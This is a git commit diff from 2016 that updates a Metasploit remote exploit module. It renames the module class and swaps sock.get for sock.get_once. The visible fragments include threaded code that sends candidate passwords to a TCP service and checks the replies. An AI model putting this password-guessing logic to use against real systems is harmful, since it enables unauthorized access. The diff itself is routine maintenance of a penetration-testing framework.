fixed socket.get issue

bug/bundler_fix
h00die 2016-06-09 21:36:21 -04:00
parent 63db330a02
commit 16b4829d57
1 changed files with 4 additions and 4 deletions

View File

@ -7,7 +7,7 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking Rank = NormalRanking
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
connect connect
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
::IO.select(nil, nil, nil, 1) ::IO.select(nil, nil, nil, 1)
res = sock.get res = sock.get_once
disconnect disconnect
if !res && !res.empty? if !res && !res.empty?
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
t = Thread.new(item) do |count| t = Thread.new(item) do |count|
sock = connect sock = connect
sock.put(password + "\n") sock.put(password + "\n")
res = sock.get res = sock.get_once
until res.empty? until res.empty?
break unless results.empty? break unless results.empty?
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
elsif res =~ /Error/ elsif res =~ /Error/
break break
end end
res = sock.get res = sock.get_once
end end
end end